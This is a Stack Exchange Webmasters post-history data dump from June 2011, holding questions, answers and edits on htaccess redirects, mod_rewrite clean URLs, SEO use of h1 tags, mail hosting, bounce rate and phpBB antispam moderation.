  <row Id="37694" PostHistoryTypeId="2" PostId="15888" RevisionGUID="e7e50fbf-cc88-441c-a786-6d7ec0df42b8" CreationDate="2011-06-25T09:33:08.503" UserId="4502" Text="At a base level, I'd say there's probably no such tool that actually uses the two Google services, if only because there are no official APIs for either Trends or Insights.&#xD;&#xA;&#xD;&#xA;But there do seem to be a bunch of hacks floating around for somewhat approximating the information, though. &lt;a href=&quot;http://stackoverflow.com/questions/2635031/google-search-rankings-and-trends-api&quot;&gt;This SO question&lt;/a&gt; has a link to a PHP class someone created. Assuming it still works, you might be able to mash something together. Any further exploration on this tack should probably move to StackOverflow, however." />
  <row Id="37695" PostHistoryTypeId="5" PostId="15840" RevisionGUID="52158e76-b219-40e0-b9b5-e75b6b8d1975" CreationDate="2011-06-25T09:45:16.980" UserId="3" Comment="proper numbered list; use period" Text="Top reasons that I'm aware of:&#xD;&#xA;&#xD;&#xA;1. To &quot;force&quot; customer to provide specific details which otherwise most likely be omitted by customer (like, order/invoice number, contact telephone number).&#xD;&#xA;&#xD;&#xA;2. To perform some basic validations on such data ensuring that the **existing** customer provides correct information (checking if such order does exist, validating input).&#xD;&#xA;&#xD;&#xA;3. Convenience to the customers -- they can type message straight away without the need to use their email program/web-based email. Very useful when customer is accessing the site from some random location (someone's PC, public place) and does not want others to see his emails (in case if he uses web-based emails) ... or simply does not have his PC with him.&#xD;&#xA;&#xD;&#xA;4. SPAM? Yes, but not that much -- there are quite a few good ways to stop more than average spam bots from picking up email addresses (usually requires JavaScript).&#xD;&#xA;&#xD;&#xA;5. If a company is a bit &quot;dodgy&quot; (eg. selling &quot;grey import&quot; software -- software that is meant to be sold in USA but they sell in in UK) they may simply do not want customers to contact them directly (their email could be just `some-company@gmail.com` .. which does not give much confidence to a customer these days if buying from online shops)." />
  <row Id="37705" PostHistoryTypeId="5" PostId="15838" RevisionGUID="2b3daaec-7191-46f8-b74c-3c42bc9b3038" CreationDate="2011-06-25T10:14:31.960" UserId="3" Comment="added 8 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [How to restrict the download of all files in a folder?](http://webmasters.stackexchange.com/questions/13485/how-to-restrict-the-download-of-all-files-in-a-folder)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;I haven't uploaded index.html or index.php to my root directory.  How can I prevent people from looking at a listing of files in parent directory?&#xD;&#xA;&#xD;&#xA;![](http://oi56.tinypic.com/sc739e.jpg)&#xD;&#xA;&#xD;&#xA;Also, is it possible for people to obtain a list of all the files in the root directory once I upload index.html?&#xD;&#xA;&#xD;&#xA;I'm currently using .htaccess and htusers to prompt someone to enter a username and password when they try to access any file in the root directory.&#xD;&#xA;&#xD;&#xA;This may sound like a weird request but would it be possible to have them come to the site (without an index.html) and just have them not see the files?  All it would say on the page would be the following:&#xD;&#xA;&#xD;&#xA;**Index of/**&#xD;&#xA;&#xD;&#xA;*Apache Server at mysite.com Port 80*" />
  <row Id="37706" PostHistoryTypeId="17" PostId="15891" RevisionGUID="b66f2f45-df77-4b49-8f43-8d8a898a8a55" CreationDate="2011-06-25T10:21:57.360" UserId="-1" Comment="from http://stackoverflow.com/questions/6469410/why-dont-i-have-a-loop-error-with-these-redirects" Text="" />
  <row Id="37707" PostHistoryTypeId="2" PostId="15892" RevisionGUID="91eed930-4b4a-4fe7-bdd6-72daf9ba6c41" CreationDate="2011-06-24T14:46:55.473" UserDisplayName="qbert220" Text="You are using 2 different mechanisms.&#xD;&#xA;&#xD;&#xA;You have a **redirect** so that when someone visits domain1.com/my_directory they are redirected to domain2.com.&#xD;&#xA;&#xD;&#xA;You have a **rewrite** so that when someone visits domain2.com they actually see the content from domain1.com/my_directory. This is processed internally within apache. It is not processing the redirect rule." />
  <row Id="37708" PostHistoryTypeId="2" PostId="15891" RevisionGUID="270642c5-68e9-43c4-9796-4b917b1a0b7d" CreationDate="2011-06-24T14:41:39.180" UserDisplayName="byronyasgur" Text="i know this may seem a bit of a question in reverse but i actually DONT seem to have a problem i just think that i should have given the setup i've done and i want to make sure before i proceed.&#xD;&#xA;&#xD;&#xA;i have 2 domains domain1.com and domain2.com  and a directory &quot;my_directory&quot; at domain2.com &#xD;&#xA;&#xD;&#xA;i have domain2.com setup as an &quot;add on domain&quot; in the cpanel account of domain1.com so that when i go to domain2.com i am taken to domain1.com/my_directory but the browser shows domain2.com in the addressbar so it looks and acts like and is a separate site.&#xD;&#xA; &#xD;&#xA;however when people browse to domain1.com/directory i want the address bar to show domain2.com not domain1.com/directory so i put a redirect in the htaccess file to redirect domain1.com/directory to domain2.com and it works perfectly .....but i think it shouldnt and i'm worried i've done something wrong&#xD;&#xA;&#xD;&#xA;my question is this .... domain2.com was already redirected to domain1.com/directory in the first place (i see the redirect in my cpanel under addon domains) so by adding the second redirect in the htaccess file i should be creating a loop ... &#xD;&#xA;&#xD;&#xA;could somebody please set my mind at rest and show me why not&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37709" PostHistoryTypeId="1" PostId="15891" RevisionGUID="270642c5-68e9-43c4-9796-4b917b1a0b7d" CreationDate="2011-06-24T14:41:39.180" UserDisplayName="byronyasgur" Text="why dont i have a loop error with these redirects" />
  <row Id="37710" PostHistoryTypeId="3" PostId="15891" RevisionGUID="270642c5-68e9-43c4-9796-4b917b1a0b7d" CreationDate="2011-06-24T14:41:39.180" UserDisplayName="byronyasgur" Text="&lt;web-development&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;webserver&gt;" />
  <row Id="37711" PostHistoryTypeId="17" PostId="15892" RevisionGUID="39a41bf1-8724-4565-822a-fcb4c5225954" CreationDate="2011-06-25T10:21:57.360" UserId="-1" Comment="from http://stackoverflow.com/questions/6469410/why-dont-i-have-a-loop-error-with-these-redirects" Text="" />
  <row Id="37712" PostHistoryTypeId="5" PostId="15891" RevisionGUID="c8987b41-c965-46c5-a361-b50a82b829de" CreationDate="2011-06-25T10:25:08.527" UserId="3" Comment="deleted 57 characters in body; edited title" Text="I know this may seem a bit of a question in reverse, but I actually *don't* seem to have a problem I just want to make sure before I proceed.&#xD;&#xA;&#xD;&#xA;I have 2 domains `domain1.com` and `domain2.com` and a directory `my_directory` at `domain2.com`.&#xD;&#xA;&#xD;&#xA;I have `domain2.com` setup as an &quot;add on domain&quot; in the cpanel account of domain1.com so that when I go to domain2.com I am taken to domain1.com/my_directory but the browser shows domain2.com in the addressbar so it looks and acts like and is a separate site.&#xD;&#xA; &#xD;&#xA;However when people browse to `domain1.com/directory` I want the address bar to show `domain2.com` *not* `domain1.com/directory`. So I put a redirect in the htaccess file to redirect `domain1.com/directory` to `domain2.com` and it works perfectly, but I think it shouldnt and I'm worried I've done something wrong.&#xD;&#xA;&#xD;&#xA;My question is this: domain2.com was already redirected to domain1.com/directory in the first place (I see the redirect in my cpanel under addon domains) so by adding the second redirect in the htaccess file I should be creating a loop!&#xD;&#xA;&#xD;&#xA;Could somebody please set my mind at rest and show me why not?" />
  <row Id="37713" PostHistoryTypeId="4" PostId="15891" RevisionGUID="c8987b41-c965-46c5-a361-b50a82b829de" CreationDate="2011-06-25T10:25:08.527" UserId="3" Comment="deleted 57 characters in body; edited title" Text="Why don't I have a loop error with these redirects?" />
  <row Id="37714" PostHistoryTypeId="17" PostId="15893" RevisionGUID="5e12b0cc-f97b-4c3b-a66b-5b89314b2233" CreationDate="2011-06-25T10:30:45.357" UserId="-1" Comment="from http://stackoverflow.com/questions/6476519/tricky-mod-rewrite-challenge" Text="" />
  <row Id="37715" PostHistoryTypeId="17" PostId="15894" RevisionGUID="158f065d-9c38-4966-b131-69a3bac19677" CreationDate="2011-06-25T10:30:45.357" UserId="-1" Comment="from http://stackoverflow.com/questions/6476519/tricky-mod-rewrite-challenge" Text="" />
  <row Id="37716" PostHistoryTypeId="2" PostId="15894" RevisionGUID="196a9a2c-7147-4000-a2bb-231bc58c86d9" CreationDate="2011-06-25T07:47:20.433" UserId="5694" Text="Try this in your root's .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^[^/]+/(\d+)$ records.php?id=$1 [QSA]&#xD;&#xA;&#xD;&#xA;http://example.com/foo-bar/42 will be rewritten to http://example.com/records.php?id=42&#xD;&#xA;&#xD;&#xA;It wont affect URLs like `contact.php`, since it does not match `^[^/]+/(\d+)$`" />
  <row Id="37717" PostHistoryTypeId="2" PostId="15893" RevisionGUID="bcfbd8f2-f881-4c87-acf0-a0c6acbc3205" CreationDate="2011-06-25T07:30:38.067" UserDisplayName="And Finally" Text="Fraternal greetings StackOverflowers.. I list about 9,000 records on my little site. At the moment I'm showing them with a dynamic page, like http://domain.com/records.php?id=019031, but I'd like to start using meaningful URLs like this one on Amazon&#xD;&#xA;&#xD;&#xA;&gt; http://www.amazon.co.uk/Library-Mythology-Oxford-Worlds-Classics/dp/0199536325&#xD;&#xA;&#xD;&#xA;where the title string on the root level gets ignored and requests are redirected to the records.php page, which accepts the ID as usual.&#xD;&#xA;&#xD;&#xA;Does anybody know how I could achieve that with mod_rewrite? I'm wondering how I'd deal with requests to my other root-level pages, like http://domain.com/contact.php, that I don't want to redirect to the records page.&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;Fred" />
  <row Id="37718" PostHistoryTypeId="1" PostId="15893" RevisionGUID="bcfbd8f2-f881-4c87-acf0-a0c6acbc3205" CreationDate="2011-06-25T07:30:38.067" UserDisplayName="And Finally" Text="Tricky mod_rewrite challenge" />
  <row Id="37719" PostHistoryTypeId="3" PostId="15893" RevisionGUID="bcfbd8f2-f881-4c87-acf0-a0c6acbc3205" CreationDate="2011-06-25T07:30:38.067" UserDisplayName="And Finally" Text="&lt;apache&gt;&lt;url&gt;&lt;mod-rewrite&gt;&lt;redirects&gt;&lt;clean-urls&gt;" />
  <row Id="37720" PostHistoryTypeId="5" PostId="15893" RevisionGUID="d84a3256-b073-481c-b5e9-d0896d219beb" CreationDate="2011-06-25T10:31:14.387" UserId="3" Comment="deleted 51 characters in body; edited tags" Text="I list about 9,000 records on my little site. At the moment I'm showing them with a dynamic page, like &#xD;&#xA;&#xD;&#xA;&gt; http://domain.com/records.php?id=019031&#xD;&#xA;&#xD;&#xA;But I'd like to start using meaningful URLs like this one on Amazon&#xD;&#xA;&#xD;&#xA;&gt; http://www.amazon.co.uk/Library-Mythology-Oxford-Worlds-Classics/dp/0199536325&#xD;&#xA;&#xD;&#xA;where the title string on the root level gets ignored and requests are redirected to the records.php page, which accepts the ID as usual.&#xD;&#xA;&#xD;&#xA;Does anybody know how I could achieve that with mod_rewrite? I'm wondering how I'd deal with requests to my other root-level pages, like http://domain.com/contact.php, that I don't want to redirect to the records page." />
  <row Id="37721" PostHistoryTypeId="6" PostId="15893" RevisionGUID="d84a3256-b073-481c-b5e9-d0896d219beb" CreationDate="2011-06-25T10:31:14.387" UserId="3" Comment="deleted 51 characters in body; edited tags" Text="&lt;apache&gt;&lt;redirects&gt;&lt;url&gt;&lt;mod-rewrite&gt;&lt;clean-urls&gt;" />
  <row Id="37722" PostHistoryTypeId="17" PostId="15895" RevisionGUID="d0cfb063-1f8d-41d3-b003-74b2d5d68781" CreationDate="2011-06-25T10:45:05.930" UserId="-1" Comment="from http://stackoverflow.com/questions/6477097/seo-regarding-to-multiple-h1-tag" Text="" />
  <row Id="37723" PostHistoryTypeId="17" PostId="15896" RevisionGUID="cfa2ff71-5a9b-442a-b31f-0681d2265569" CreationDate="2011-06-25T10:45:05.930" UserId="-1" Comment="from http://stackoverflow.com/questions/6477097/seo-regarding-to-multiple-h1-tag" Text="" />
  <row Id="37724" PostHistoryTypeId="17" PostId="15897" RevisionGUID="a3551624-bfaa-46a3-9bac-ea89bba78fba" CreationDate="2011-06-25T10:45:05.930" UserId="-1" Comment="from http://stackoverflow.com/questions/6477097/seo-regarding-to-multiple-h1-tag" Text="" />
  <row Id="37725" PostHistoryTypeId="17" PostId="15898" RevisionGUID="39b38584-a406-451b-be99-5b72c3e182dd" CreationDate="2011-06-25T10:45:05.930" UserId="-1" Comment="from http://stackoverflow.com/questions/6477097/seo-regarding-to-multiple-h1-tag" Text="" />
  <row Id="37726" PostHistoryTypeId="2" PostId="15896" RevisionGUID="c9daa194-6219-4f52-a0e7-8a45fabb8d8f" CreationDate="2011-06-25T10:04:48.553" UserDisplayName="Alp" Text="&gt; Is is true `&lt;h1&gt;` tag should not have more than 1 on every page for SEO? &#xD;&#xA;&#xD;&#xA;No, not that i know of. Headlines are structured in a hierarchy, whereas the top level may contain of multiple elements. So feel free to use several `&lt;h1&gt;` tags to indicate the main topics of your content if your page contains more than one." />
  <row Id="37727" PostHistoryTypeId="2" PostId="15897" RevisionGUID="d8772ca8-db0b-4270-b78d-b26d660dc7b0" CreationDate="2011-06-25T10:09:56.800" UserId="7598" Text="It is very common saying, that `&lt;h1&gt;` should be on page just once. Matt Cutts (Google engineer) is explaining it right here: [YouTube - More than one H1 on a page: good or bad?][1]&#xD;&#xA;&#xD;&#xA;So if it is logical for your page to have more &lt;h1&gt; just use them - no real penalty for this. Unless you have tens of `&lt;h1&gt;`s on page and nothing else. That could be little suspicious ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=GIn5qJKU8VM" />
  <row Id="37728" PostHistoryTypeId="2" PostId="15898" RevisionGUID="9aaa0177-5425-4736-87f2-ef1346a53a07" CreationDate="2011-06-25T10:14:24.197" UserId="4038" Text="Yes, you will get most out of SEO if you have a single `h1` tag on each page.&#xD;&#xA;&#xD;&#xA;Having a `h1` tag that correspons with the title of the page will increase the weight of the title somewhat. How important this is depends on the search engine, i.e. some secret formula that they use to determine what's important on the page.&#xD;&#xA;&#xD;&#xA;Not having a `h1` tag or having multiple `h1` tags isn't a big deal, your pages will still be indexed pretty well, but if you really want to squeeze the last out of SEO you should use a single `h1` tag.&#xD;&#xA;" />
  <row Id="37729" PostHistoryTypeId="2" PostId="15895" RevisionGUID="155d82f2-c2cc-44b5-aa62-4a5a6414bcd8" CreationDate="2011-06-25T10:00:11.690" UserDisplayName="user622378" Text="Is is true `&lt;h1&gt;` tag should not have more than 1 on every page for SEO? &#xD;&#xA;&#xD;&#xA;Every pages on the header, it include `&lt;h1&gt;` tag. Website Name which show an image from `logo class`, like this:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;header&quot;&gt;&#xD;&#xA;      &lt;h1 class=&quot;logo&quot;&gt;&#xD;&#xA;         &lt;a href=&quot;#&quot;&gt;Website Name&lt;/a&gt;&#xD;&#xA;      &lt;/h1&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and I also include `&lt;h1&gt;` on the contact page, help, etc and article page for example:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;Contact Us&lt;/h1&gt;&#xD;&#xA;    &lt;h1&gt;Name of the Article Title here&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the homepage, it just have one `&lt;h1&gt;` for the logo Site Name... other pages have 2 `&lt;h1&gt;` tags" />
  <row Id="37730" PostHistoryTypeId="1" PostId="15895" RevisionGUID="155d82f2-c2cc-44b5-aa62-4a5a6414bcd8" CreationDate="2011-06-25T10:00:11.690" UserDisplayName="user622378" Text="SEO regarding to multiple &lt;h1&gt; tag?" />
  <row Id="37731" PostHistoryTypeId="3" PostId="15895" RevisionGUID="155d82f2-c2cc-44b5-aa62-4a5a6414bcd8" CreationDate="2011-06-25T10:00:11.690" UserDisplayName="user622378" Text="&lt;html&gt;&lt;web-development&gt;&lt;seo&gt;" />
  <row Id="37732" PostHistoryTypeId="5" PostId="15895" RevisionGUID="6cb995f4-bf81-4c8f-853c-aceafe8a6966" CreationDate="2011-06-25T11:33:35.670" UserId="108" Comment="added 4 characters in body; edited tags; edited title" Text="Is is true `&lt;h1&gt;` tag should not have more than 1 on every page for SEO? &#xD;&#xA;&#xD;&#xA;Every pages on the header, it includes and `&lt;h1&gt;` tag. Website Name which show an image from `logo class`, like this:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;header&quot;&gt;&#xD;&#xA;      &lt;h1 class=&quot;logo&quot;&gt;&#xD;&#xA;         &lt;a href=&quot;#&quot;&gt;Website Name&lt;/a&gt;&#xD;&#xA;      &lt;/h1&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and I also include `&lt;h1&gt;` on the contact page, help, etc and article page for example:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;Contact Us&lt;/h1&gt;&#xD;&#xA;    &lt;h1&gt;Name of the Article Title here&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the homepage, it just has one `&lt;h1&gt;` for the logo Site Name... other pages have 2 `&lt;h1&gt;` tags" />
  <row Id="37733" PostHistoryTypeId="4" PostId="15895" RevisionGUID="6cb995f4-bf81-4c8f-853c-aceafe8a6966" CreationDate="2011-06-25T11:33:35.670" UserId="108" Comment="added 4 characters in body; edited tags; edited title" Text="SEO regarding using  multiple &lt;h1&gt; tag?" />
  <row Id="37734" PostHistoryTypeId="6" PostId="15895" RevisionGUID="6cb995f4-bf81-4c8f-853c-aceafe8a6966" CreationDate="2011-06-25T11:33:35.670" UserId="108" Comment="added 4 characters in body; edited tags; edited title" Text="&lt;seo&gt;&lt;html&gt;&lt;web-development&gt;" />
  <row Id="37735" PostHistoryTypeId="5" PostId="15898" RevisionGUID="762aa6a4-4e2d-4530-bf68-570633b2304e" CreationDate="2011-06-25T11:34:33.657" UserId="108" Comment="added 1 characters in body" Text="Yes, you will get most out of SEO if you have a single `h1` tag on each page.&#xD;&#xA;&#xD;&#xA;Having a `h1` tag that corresponds with the title of the page will increase the weight of the title somewhat. How important this is depends on the search engine, i.e. some secret formula that they use to determine what's important on the page.&#xD;&#xA;&#xD;&#xA;Not having a `h1` tag or having multiple `h1` tags isn't a big deal, your pages will still be indexed pretty well, but if you really want to squeeze the last out of SEO you should use a single `h1` tag.&#xD;&#xA;" />
  <row Id="37736" PostHistoryTypeId="5" PostId="15886" RevisionGUID="56793816-acdb-4770-9b50-b1b7a9d431cc" CreationDate="2011-06-25T11:41:38.367" UserId="108" Comment="deleted 15 characters in body" Text="###On using Asterix in URLs&#xD;&#xA;&#xD;&#xA;Using an [Asterix](http://www.asterix.com/) in your URL is probably not such a great idea, largely because:&#xD;&#xA;&#xD;&#xA; 1. Neither UTF-8 or ASCII is currently able to denote an Asterix.&#xD;&#xA; 2. He would be little more than a smudge in a standard browser address bar.&#xD;&#xA; 3. I doubt he'd like it very much. And he has some quite large friends.&#xD;&#xA; 4. It's just weird.&#xD;&#xA;&#xD;&#xA;###On using *Asterisks* in URLs&#xD;&#xA;Using an asterisk (*) in a URL (and, yes, I know that's what you meant all along) is also not such a great idea. Because it's a [reserved character,](http://www.w3.org/Addressing/URL/4_URI_Recommentations.html) it's not used anywhere else; even though your URL scheme seems user-friendly to you, few will think to try it, and it's likely to give unpredictable results because the meaning of wildcards in URLs is hard to discern. (I couldn't tell what all of your examples meant until I read your descriptions.)&#xD;&#xA;&#xD;&#xA;Not only that, but there might be some more semantic/meaningful ways to do what you describe. For example, you could append a query string and use a 'find' and 'where' variable to tell your method what to find where:&#xD;&#xA;&#xD;&#xA;Find pages starting with 'search phrase' in `/some/folder/`:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;Find pages with 'search phrase' anywhere:&#xD;&#xA;&#xD;&#xA;`example.com/some/?find=search-phrase&amp;where=anywhere`&#xD;&#xA;&#xD;&#xA;To show all pages, I would use a separate method called 'all' instead of a query string or wildcard syntax:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/all`&#xD;&#xA;&#xD;&#xA;The query string syntax is *far* more common than asterisks -- look in your address bar next time you do a Google search, for example -- and it will likely be easier to code too.&#xD;&#xA;&#xD;&#xA;Finally, if you don't like the look of query strings, you could prepend a method name called 'search' and then use the next two blocks as the 'find' and 'where' variables. e.g. Instead of: &#xD;&#xA;&#xD;&#xA;`example.com/some/folder/?find=search-phrase&amp;where=start`&#xD;&#xA;&#xD;&#xA;You could have:&#xD;&#xA;&#xD;&#xA;`example.com/some/folder/search/search-phrase/start`&#xD;&#xA;&#xD;&#xA;Then, you just need to check for the 'search' keyword in your URL path, and trigger the your search method using the next two path segments as variables.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Asterix image copyright Les Editions Albert-René/Goscinny-Uderzo.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/wmLH0.gif" />
  <row Id="37737" PostHistoryTypeId="25" PostId="15895" RevisionGUID="c4be230e-2989-4859-8c50-07437ca3b7b1" CreationDate="2011-06-25T12:25:06.770" Comment="http://twitter.com/#!/StackWebmasters/status/84597985157197824" />
  <row Id="37738" PostHistoryTypeId="2" PostId="15899" RevisionGUID="91e2277e-1c80-4ef8-8c62-c1d79ad9fea8" CreationDate="2011-06-25T12:27:10.810" UserId="108" Text="To make this more clear, in my answer Product Line will mean something like &quot;Hood Deflector&quot; and variant means the specific hood deflector for a specific car.&#xD;&#xA;&#xD;&#xA;First off you could either make one page for each Product Line or for each variant.  Neither is wrong.  Each decision is better in specific cases.  First off, are there different variants in the same Product Line for the same vehicle (ie different colors, sizes, etc)?  This might affect how you do things. Secondly, is your goal to have good SEO so people can find you or will people find your site through another process?&#xD;&#xA;&#xD;&#xA;If your goal is to have the best site in regards to SEO and you don't have any really miserable conditions for different variants in the same Product Line for the same vehicle, then I would suggest doing one page per Product line.  To do this add a set of drop downs on the page that allow the user to see and confirm their specific variant for their vehicle exists or have a complete list of the variants in alphabetic order that show what the differences are and for what vehicles.  These are the pros to doing it this way:&#xD;&#xA;&#xD;&#xA; 1. It creates a lot less work for you.  If you have 10,000 variants and 100 Product lines, this scenario only requires you to create 100 pages with unique descriptions etc.&#xD;&#xA; 2. For most users this is a much simpler solutions.  They don't have to look through hundreds of pages of variants for the specific variant they need.  In order to overcome this you would need to include excellent search features in your site and even then some customers won't use search. So Less pages reduces the chances of a user being overwhelmed.&#xD;&#xA; 3. Once you have the structure you will be able to add specific variants without creating new pages which reduces your maintenance cost.&#xD;&#xA; 4. It removes the chance that Google will see 2+ of your pages have similar content because all similar variants will be on one page.&#xD;&#xA;&#xD;&#xA;There are some cons:&#xD;&#xA;&#xD;&#xA; 1. You might have to build several database tables to manage everything easily and you might need JavaScript to handle your drop downs properly.  Basically, there will be added complexity in your website to reduce the complexity your visitors will have to deal with.&#xD;&#xA; 2. It could hurt you on specific parts.  If you have 1,000 Hood Deflector variants and you sell 10 times more of 1 variant than the other 999 combined, then that one variant could be lost in a sea of other variants on the same page.  That would cause you to lose some people who can't find the variant and other who cannot find it in SERPs because that variant doesn't have its own page.&#xD;&#xA;&#xD;&#xA;One other suggestion, if time and effort are not as much of a concern, you could go with a hybrid solution.  One where to get to a variant page you have to click on the link to it from the Product Line Page.  Then you could make all of the variant pages non-indexable by Google except the small number that you sell tons of.  That way you can focus your SEO and not have to worry about Google seeing &quot;duplicate content&quot; when you really just have a lot of pages with similar content." />
  <row Id="37739" PostHistoryTypeId="2" PostId="15900" RevisionGUID="e703f6ae-af81-4014-a222-9fe210742253" CreationDate="2011-06-25T12:34:34.160" UserId="8354" Text="In your case I would suggest to go with dedicated type of server where you will have your own IP and mail server so you can send as many emails as you wish.&#xD;&#xA;&#xD;&#xA;Such &quot;dedicated&quot; server could be:&#xD;&#xA;&#xD;&#xA; - Fully dedicated -- physical server with unique IP where all resources belongs to you. Can be quite expensive.&#xD;&#xA; - VPS (Virtual Private Server) -- few virtual servers can be hosted on the same physical server using virtualisation technology. For you it will look like completely separate server with unique IP where you have full access and can install any software. Quite cheap these days -- often you may find it priced around twice the price of shared hosting (sometimes even cheaper, depends on plan) but with all goodness offered by being in control of all the software you run -- considering the advantages it is well worth it.&#xD;&#xA; - Cloud-based virtual servers (like [Amazon AWS](http://aws.amazon.com/what-is-aws/) or [Rackspace Cloud Hosting](http://www.rackspace.co.uk/cloud-hosting/)) -- in short -- you will have virtual server with additional benefits of cloud-computing (you can scale easily -- attach additional storage or computing resources at any time etc).&#xD;&#xA;&#xD;&#xA;With your own mail server you will not be restricted by the limits from your hosting company (well, as long as it all look legit - i.e. you are not only sending hundreds of thousands emails with very little web traffic).&#xD;&#xA;&#xD;&#xA;Mail sending companies are good for sending mass emails where content is the same for all customers (well, with some personalisation if required) -- they are not that good (if they can do this at all, cannot confirm here) to send frequent emails with completely different content (that was my conclusion when I have researched this moment about a year ago).&#xD;&#xA;&#xD;&#xA;Considering that VPS and Cloud-based servers are not that expensive (Amazon even has some [Free Usage Tier](http://aws.amazon.com/free/) that you can use to test if it will be good for you) it is definitely **the way I would go** in such situation. Yes, this may require technical knowledge to setup and configure your own server, but you may go for a Managed VPS (where hosting company will do all server setup and management for you for an additional cost)." />
  <row Id="37740" PostHistoryTypeId="17" PostId="15901" RevisionGUID="6c7b54fc-6a82-4835-9e91-474f47fc4487" CreationDate="2011-06-25T12:47:08.740" UserId="-1" Comment="from http://stackoverflow.com/questions/6477789/cant-login-from-belize" Text="" />
  <row Id="37741" PostHistoryTypeId="2" PostId="15901" RevisionGUID="be9402dd-6e30-47de-8643-dfb24aaee652" CreationDate="2011-06-25T12:43:26.133" UserDisplayName="Marcia" Text="I built a site using CodeIgniter, which has an admin section, which is password protected using a login page. The site's owner is in Belize, and cannot login from there. Anyone know why?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37742" PostHistoryTypeId="1" PostId="15901" RevisionGUID="be9402dd-6e30-47de-8643-dfb24aaee652" CreationDate="2011-06-25T12:43:26.133" UserDisplayName="Marcia" Text="can't login from Belize" />
  <row Id="37743" PostHistoryTypeId="3" PostId="15901" RevisionGUID="be9402dd-6e30-47de-8643-dfb24aaee652" CreationDate="2011-06-25T12:43:26.133" UserDisplayName="Marcia" Text="&lt;codeigniter&gt;&lt;login&gt;" />
  <row Id="37751" PostHistoryTypeId="2" PostId="15905" RevisionGUID="ddc96c44-2fd4-4ffd-8739-6b44a7aa509c" CreationDate="2011-06-25T13:55:52.577" UserId="8557" Text="I read a lot of blogs and tips articles on how to decrease bounce rate. I feel I write very good content (niche is science) and I setup a good design, with attractive features (like download as PDF etc.), increased site loading times (google page speed score is 80+) but even then my bounce rate is always above 90, sometimes 100 :(.&#xD;&#xA;&#xD;&#xA;I get 42% traffic from the US and google analytics reports no visitor staying for more than 10-12 seconds. Please guide me.&#xD;&#xA;&#xD;&#xA;URL: http://www.amitash.com/" />
  <row Id="37752" PostHistoryTypeId="1" PostId="15905" RevisionGUID="ddc96c44-2fd4-4ffd-8739-6b44a7aa509c" CreationDate="2011-06-25T13:55:52.577" UserId="8557" Text="Tried verything - Yet highest Bounce Rate?" />
  <row Id="37753" PostHistoryTypeId="3" PostId="15905" RevisionGUID="ddc96c44-2fd4-4ffd-8739-6b44a7aa509c" CreationDate="2011-06-25T13:55:52.577" UserId="8557" Text="&lt;google-analytics&gt;&lt;bounce-rate&gt;" />
  <row Id="37754" PostHistoryTypeId="2" PostId="15906" RevisionGUID="4cce19ec-949a-472d-847f-1807c1cb2c1d" CreationDate="2011-06-25T15:16:15.813" UserId="3312" Text="I'm pretty sure this used to be possible, but there doesn't seem to be an option any more.  Is there any way to do it?" />
  <row Id="37755" PostHistoryTypeId="1" PostId="15906" RevisionGUID="4cce19ec-949a-472d-847f-1807c1cb2c1d" CreationDate="2011-06-25T15:16:15.813" UserId="3312" Text="Is it possible to add a facebook 'like' button to a website without the numer of 'likes'?" />
  <row Id="37756" PostHistoryTypeId="3" PostId="15906" RevisionGUID="4cce19ec-949a-472d-847f-1807c1cb2c1d" CreationDate="2011-06-25T15:16:15.813" UserId="3312" Text="&lt;facebook&gt;" />
  <row Id="37762" PostHistoryTypeId="5" PostId="15905" RevisionGUID="84fb7ff8-818b-48c6-802c-c102bba1dbef" CreationDate="2011-06-25T16:10:30.243" UserId="1253" Comment="removed URL" Text="I read a lot of blogs and tips articles on how to decrease bounce rate. I feel I write very good content (niche is science) and I setup a good design, with attractive features (like download as PDF etc.), increased site loading times (google page speed score is 80+) but even then my bounce rate is always above 90, sometimes 100 :(.&#xD;&#xA;&#xD;&#xA;I get 42% traffic from the US and google analytics reports no visitor staying for more than 10-12 seconds. Please guide me.&#xD;&#xA;" />
  <row Id="37766" PostHistoryTypeId="2" PostId="15907" RevisionGUID="658e1429-0459-4fd4-9f97-c44cb2e6ff97" CreationDate="2011-06-25T16:12:06.963" UserId="7091" Text="I've been working on various antispam measure in a phpBB3-based forum I host. Now I was thinking of an extension/mod that ties in with editing of posts (and later perhaps signatures/profiles) in that new text or edited text defaults to something like &quot;not patrolled&quot; and moderators could then in a special queue review text that contains links or similar item (based on heuristics).&#xD;&#xA;&#xD;&#xA;Now the question: **does such a mod exist** (I didn't find one)**?** If it does exist and anyone has used it (or them), please include your experiences with it in the answer." />
  <row Id="37767" PostHistoryTypeId="1" PostId="15907" RevisionGUID="658e1429-0459-4fd4-9f97-c44cb2e6ff97" CreationDate="2011-06-25T16:12:06.963" UserId="7091" Text="phpBB3 antispam: mod for &quot;patrolling&quot; the forum?" />
  <row Id="37768" PostHistoryTypeId="3" PostId="15907" RevisionGUID="658e1429-0459-4fd4-9f97-c44cb2e6ff97" CreationDate="2011-06-25T16:12:06.963" UserId="7091" Text="&lt;spam&gt;&lt;spam-prevention&gt;&lt;phpbb&gt;" />
